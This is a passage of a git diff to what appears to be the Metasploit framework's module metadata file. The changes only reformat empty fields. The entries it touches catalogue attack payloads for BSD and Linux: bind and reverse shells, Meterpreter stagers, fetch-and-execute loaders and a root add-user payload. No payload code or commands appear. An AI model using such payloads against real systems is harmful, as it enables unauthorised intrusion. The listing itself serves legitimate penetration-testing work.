"disclosure_date": null, "type": "payload", @@ -198654,8 +176401,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -198664,9 +176410,7 @@ "payload_bsd/x86/exec": { "name": "BSD Execute Command", "fullname": "payload/bsd/x86/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198676,9 +176420,7 @@ "joev " ], "description": "Execute an arbitrary command", - "references": [ - - ], + "references": [], "platform": "BSD", "arch": "x86", "rport": null, @@ -198692,8 +176434,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -198702,9 +176443,7 @@ "payload_bsd/x86/metsvc_bind_tcp": { "name": "FreeBSD Meterpreter Service, Bind TCP", "fullname": "payload/bsd/x86/metsvc_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198712,9 +176451,7 @@ "hdm " ], "description": "Stub payload for interacting with a Meterpreter Service", - "references": [ - - ], + "references": [], "platform": "BSD", "arch": "x86", "rport": null, @@ -198728,8 +176465,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -198738,9 +176474,7 @@ "payload_bsd/x86/metsvc_reverse_tcp": { "name": "FreeBSD Meterpreter Service, Reverse TCP Inline", "fullname": "payload/bsd/x86/metsvc_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198748,9 +176482,7 @@ "hdm " ], "description": "Stub payload for interacting with a Meterpreter Service", - "references": [ - - ], + "references": [], "platform": "BSD", "arch": "x86", "rport": null, @@ -198764,8 +176496,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -198774,9 +176505,7 @@ "payload_bsd/x86/shell/bind_ipv6_tcp": { "name": "BSD Command Shell, Bind TCP Stager (IPv6)", "fullname": "payload/bsd/x86/shell/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198786,9 +176515,7 @@ "hdm " ], "description": "Spawn a command shell (staged).\n\nListen for a connection over IPv6", - "references": [ - - ], + "references": [], "platform": "BSD", "arch": "x86", "rport": null, @@ -198802,8 +176529,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -198814,9 +176540,7 @@ "payload_bsd/x86/shell/bind_tcp": { "name": "BSD Command Shell, Bind TCP Stager", "fullname": "payload/bsd/x86/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198824,9 +176548,7 @@ "skape " ], "description": "Spawn a command shell (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "BSD", "arch": "x86", "rport": null, @@ -198840,8 +176562,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -198852,9 +176573,7 @@ "payload_bsd/x86/shell/find_tag": { "name": "BSD Command Shell, Find Tag Stager", "fullname": "payload/bsd/x86/shell/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198862,9 +176581,7 @@ "skape " ], "description": "Spawn a command shell (staged).\n\nUse an established connection", - "references": [ - - ], + "references": [], "platform": "BSD", "arch": "x86", "rport": null, @@ -198878,8 +176595,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -198890,9 +176606,7 @@ "payload_bsd/x86/shell/reverse_ipv6_tcp": { "name": "BSD Command Shell, Reverse TCP Stager (IPv6)", "fullname": "payload/bsd/x86/shell/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198902,9 +176616,7 @@ "hdm " ], "description": "Spawn a command shell (staged).\n\nConnect back to the attacker over IPv6", - "references": [ - - ], + "references": [], "platform": "BSD", "arch": "x86", "rport": null, @@ -198918,8 +176630,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -198930,9 +176641,7 @@ "payload_bsd/x86/shell/reverse_tcp": { "name": "BSD Command Shell, Reverse TCP Stager", "fullname": "payload/bsd/x86/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198940,9 +176649,7 @@ "skape " ], "description": "Spawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "BSD", "arch": "x86", "rport": null, @@ -198956,8 +176663,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -198968,9 +176674,7 @@ "payload_bsd/x86/shell_bind_tcp": { "name": "BSD Command Shell, Bind TCP Inline", "fullname": "payload/bsd/x86/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198978,9 +176682,7 @@ "Ramon de C Valle " ], "description": "Listen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "BSD", "arch": "x86", "rport": null, @@ -198994,8 +176696,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -199004,9 +176705,7 @@ "payload_bsd/x86/shell_bind_tcp_ipv6": { "name": "BSD Command Shell, Bind TCP Inline (IPv6)", "fullname": "payload/bsd/x86/shell_bind_tcp_ipv6", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199016,9 +176715,7 @@ "hdm " ], "description": "Listen for a connection and spawn a command shell over IPv6", - "references": [ - - ], + "references": [], "platform": "BSD", "arch": "x86", "rport": null, @@ -199032,8 +176729,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -199042,9 +176738,7 @@ "payload_bsd/x86/shell_find_port": { "name": "BSD Command Shell, Find Port Inline", "fullname": "payload/bsd/x86/shell_find_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199052,9 +176746,7 @@ "Ramon de C Valle " ], "description": "Spawn a shell on an established connection", - "references": [ - - ], + "references": [], "platform": "BSD", "arch": "x86", "rport": null, @@ -199068,8 +176760,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -199078,9 +176769,7 @@ "payload_bsd/x86/shell_find_tag": { "name": "BSD Command Shell, Find Tag Inline", "fullname": "payload/bsd/x86/shell_find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199088,9 +176777,7 @@ "skape " ], "description": "Spawn a shell on an established connection (proxy/nat safe)", - "references": [ - - ], + "references": [], "platform": "BSD", "arch": "x86", "rport": null, @@ -199104,8 +176791,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -199114,9 +176800,7 @@ "payload_bsd/x86/shell_reverse_tcp": { "name": "BSD Command Shell, Reverse TCP Inline", "fullname": "payload/bsd/x86/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199124,9 +176808,7 @@ "Ramon de C Valle " ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "BSD", "arch": "x86", "rport": null, @@ -199140,8 +176822,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -199150,9 +176831,7 @@ "payload_bsd/x86/shell_reverse_tcp_ipv6": { "name": "BSD Command Shell, Reverse TCP Inline (IPv6)", "fullname": "payload/bsd/x86/shell_reverse_tcp_ipv6", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199162,9 +176841,7 @@ "hdm " ], "description": "Connect back to attacker and spawn a command shell over IPv6", - "references": [ - - ], + "references": [], "platform": "BSD", "arch": "x86", "rport": null, @@ -199178,8 +176855,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -199188,9 +176864,7 @@ "payload_bsdi/x86/shell/bind_tcp": { "name": "BSDi Command Shell, Bind TCP Stager", "fullname": "payload/bsdi/x86/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199198,9 +176872,7 @@ "skape " ], "description": "Spawn a command shell (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "BSDi", "arch": "x86", "rport": null, @@ -199214,8 +176886,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -199226,9 +176897,7 @@ "payload_bsdi/x86/shell/reverse_tcp": { "name": "BSDi Command Shell, Reverse TCP Stager", "fullname": "payload/bsdi/x86/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199236,9 +176905,7 @@ "skape " ], "description": "Spawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "BSDi", "arch": "x86", "rport": null, @@ -199252,8 +176919,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -199264,9 +176930,7 @@ "payload_bsdi/x86/shell_bind_tcp": { "name": "BSDi Command Shell, Bind TCP Inline", "fullname": "payload/bsdi/x86/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199275,9 +176939,7 @@ "optyx " ], "description": "Listen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "BSDi", "arch": "x86", "rport": null, @@ -199291,8 +176953,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -199301,9 +176962,7 @@ "payload_bsdi/x86/shell_find_port": { "name": "BSDi Command Shell, Find Port Inline", "fullname": "payload/bsdi/x86/shell_find_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199312,9 +176971,7 @@ "optyx " ], "description": "Spawn a shell on an established connection", - "references": [ - - ], + "references": [], "platform": "BSDi", "arch": "x86", "rport": null, @@ -199328,8 +176985,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -199338,9 +176994,7 @@ "payload_bsdi/x86/shell_reverse_tcp": { "name": "BSDi Command Shell, Reverse TCP Inline", "fullname": "payload/bsdi/x86/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199349,9 +177003,7 @@ "optyx " ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "BSDi", "arch": "x86", "rport": null, @@ -199365,8 +177017,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -199375,9 +177026,7 @@ "payload_cmd/linux/http/aarch64/meterpreter/reverse_tcp": { "name": "HTTP Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/http/aarch64/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199387,9 +177036,7 @@ "Adam Cammack " ], "description": "Fetch and execute an AARCH64 payload from an HTTP server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -199403,8 +177050,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -199417,9 +177063,7 @@ "payload_cmd/linux/http/aarch64/meterpreter_reverse_http": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/aarch64/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199431,9 +177075,7 @@ "timwr" ], "description": "Fetch and execute an AARCH64 payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -199447,8 +177089,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -199459,9 +177100,7 @@ "payload_cmd/linux/http/aarch64/meterpreter_reverse_https": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/aarch64/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199473,9 +177112,7 @@ "timwr" ], "description": "Fetch and execute an AARCH64 payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -199489,8 +177126,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -199501,9 +177137,7 @@ "payload_cmd/linux/http/aarch64/meterpreter_reverse_tcp": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/aarch64/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199515,9 +177149,7 @@ "timwr" ], "description": "Fetch and execute an AARCH64 payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -199531,8 +177163,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -199543,9 +177174,7 @@ "payload_cmd/linux/http/aarch64/shell/reverse_tcp": { "name": "HTTP Fetch, Linux dup2 Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/http/aarch64/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199554,9 +177183,7 @@ "Spencer McIntyre" ], "description": "Fetch and execute an AARCH64 payload from an HTTP server.\ndup2 socket in x12, then execve.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -199570,8 +177197,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -199584,9 +177210,7 @@ "payload_cmd/linux/http/aarch64/shell_reverse_tcp": { "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/http/aarch64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199595,9 +177219,7 @@ "Spencer McIntyre" ], "description": "Fetch and execute an AARCH64 payload from an HTTP server.\nConnect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -199611,8 +177233,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -199623,9 +177244,7 @@ "payload_cmd/linux/http/armbe/meterpreter_reverse_http": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/armbe/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199637,9 +177256,7 @@ "timwr" ], "description": "Fetch and execute an ARMBE payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -199653,8 +177270,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -199665,9 +177281,7 @@ "payload_cmd/linux/http/armbe/meterpreter_reverse_https": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/armbe/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199679,9 +177293,7 @@ "timwr" ], "description": "Fetch and execute an ARMBE payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -199695,8 +177307,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -199707,9 +177318,7 @@ "payload_cmd/linux/http/armbe/meterpreter_reverse_tcp": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/armbe/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199721,9 +177330,7 @@ "timwr" ], "description": "Fetch and execute an ARMBE payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -199737,8 +177344,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -199749,9 +177355,7 @@ "payload_cmd/linux/http/armbe/shell_bind_tcp": { "name": "HTTP Fetch, Linux ARM Big Endian Command Shell, Bind TCP Inline", "fullname": "payload/cmd/linux/http/armbe/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199777,8 +177381,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -199789,9 +177392,7 @@ "payload_cmd/linux/http/armle/adduser": { "name": "HTTP Fetch, Linux Add User", "fullname": "payload/cmd/linux/http/armle/adduser", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199801,9 +177402,7 @@ "Jonathan Salwan" ], "description": "Fetch and execute an ARMLE payload from an HTTP server.\nCreate a new user with UID 0", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -199817,8 +177416,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -199829,9 +177427,7 @@ "payload_cmd/linux/http/armle/exec": { "name": "HTTP Fetch, Linux Execute Command", "fullname": "payload/cmd/linux/http/armle/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199841,9 +177437,7 @@ "Jonathan Salwan" ], "description": "Fetch and execute an ARMLE payload from an HTTP server.\nExecute an arbitrary command", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -199857,8 +177451,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -199869,9 +177462,7 @@ "payload_cmd/linux/http/armle/meterpreter/bind_tcp": { "name": "HTTP Fetch, Bind TCP Stager", "fullname": "payload/cmd/linux/http/armle/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199882,9 +177473,7 @@ "nemo " ], "description": "Fetch and execute an ARMLE payload from an HTTP server.\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -199898,8 +177487,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -199912,9 +177500,7 @@ "payload_cmd/linux/http/armle/meterpreter/reverse_tcp": { "name": "HTTP Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/http/armle/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199926,9 +177512,7 @@ "tkmru" ], "description": "Fetch and execute an ARMLE payload from an HTTP server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -199942,8 +177526,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -199956,9 +177539,7 @@ "payload_cmd/linux/http/armle/meterpreter_reverse_http": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/armle/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199970,9 +177551,7 @@ "timwr" ], "description": "Fetch and execute an ARMLE payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -199986,8 +177565,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -199998,9 +177576,7 @@ "payload_cmd/linux/http/armle/meterpreter_reverse_https": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/armle/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200012,9 +177588,7 @@ "timwr" ], "description": "Fetch and execute an ARMLE payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -200028,8 +177602,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200040,9 +177613,7 @@ "payload_cmd/linux/http/armle/meterpreter_reverse_tcp": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/armle/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200054,9 +177625,7 @@ "timwr" ], "description": "Fetch and execute an ARMLE payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -200070,8 +177639,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200082,9 +177650,7 @@ "payload_cmd/linux/http/armle/shell/bind_tcp": { "name": "HTTP Fetch, Linux dup2 Command Shell, Bind TCP Stager", "fullname": "payload/cmd/linux/http/armle/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200094,9 +177660,7 @@ "nemo " ], "description": "Fetch and execute an ARMLE payload from an HTTP server.\ndup2 socket in r12, then execve.\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -200110,8 +177674,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200124,9 +177687,7 @@ "payload_cmd/linux/http/armle/shell/reverse_tcp": { "name": "HTTP Fetch, Linux dup2 Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/http/armle/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200137,9 +177698,7 @@ "tkmru" ], "description": "Fetch and execute an ARMLE payload from an HTTP server.\ndup2 socket in r12, then execve.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -200153,8 +177712,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200167,9 +177725,7 @@ "payload_cmd/linux/http/armle/shell_bind_tcp": { "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/http/armle/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200180,9 +177736,7 @@ "hal" ], "description": "Fetch and execute an ARMLE payload from an HTTP server.\nConnect to target and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -200196,8 +177750,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200208,9 +177761,7 @@ "payload_cmd/linux/http/armle/shell_reverse_tcp": { "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/http/armle/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200220,9 +177771,7 @@ "civ" ], "description": "Fetch and execute an ARMLE payload from an HTTP server.\nConnect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -200236,8 +177785,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200248,9 +177796,7 @@ "payload_cmd/linux/http/mips64/meterpreter_reverse_http": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/mips64/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200262,9 +177808,7 @@ "timwr" ], "description": "Fetch and execute a MIPS64 payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -200278,8 +177822,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200290,9 +177833,7 @@ "payload_cmd/linux/http/mips64/meterpreter_reverse_https": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/mips64/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200304,9 +177845,7 @@ "timwr" ], "description": "Fetch and execute a MIPS64 payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -200320,8 +177859,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200332,9 +177870,7 @@ "payload_cmd/linux/http/mips64/meterpreter_reverse_tcp": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/mips64/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200346,9 +177882,7 @@ "timwr" ], "description": "Fetch and execute a MIPS64 payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -200362,8 +177896,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200374,9 +177907,7 @@ "payload_cmd/linux/http/mipsbe/exec": { "name": "HTTP Fetch, Linux Execute Command", "fullname": "payload/cmd/linux/http/mipsbe/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200403,8 +177934,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200415,9 +177945,7 @@ "payload_cmd/linux/http/mipsbe/meterpreter/reverse_tcp": { "name": "HTTP Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/http/mipsbe/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200429,9 +177957,7 @@ "tkmru" ], "description": "Fetch and execute an MIPSBE payload from an HTTP server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -200445,8 +177971,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200459,9 +177984,7 @@ "payload_cmd/linux/http/mipsbe/meterpreter_reverse_http": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/mipsbe/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200473,9 +177996,7 @@ "timwr" ], "description": "Fetch and execute an MIPSBE payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -200489,8 +178010,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200501,9 +178021,7 @@ "payload_cmd/linux/http/mipsbe/meterpreter_reverse_https": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/mipsbe/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200515,9 +178033,7 @@ "timwr" ], "description": "Fetch and execute an MIPSBE payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -200531,8 +178047,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, 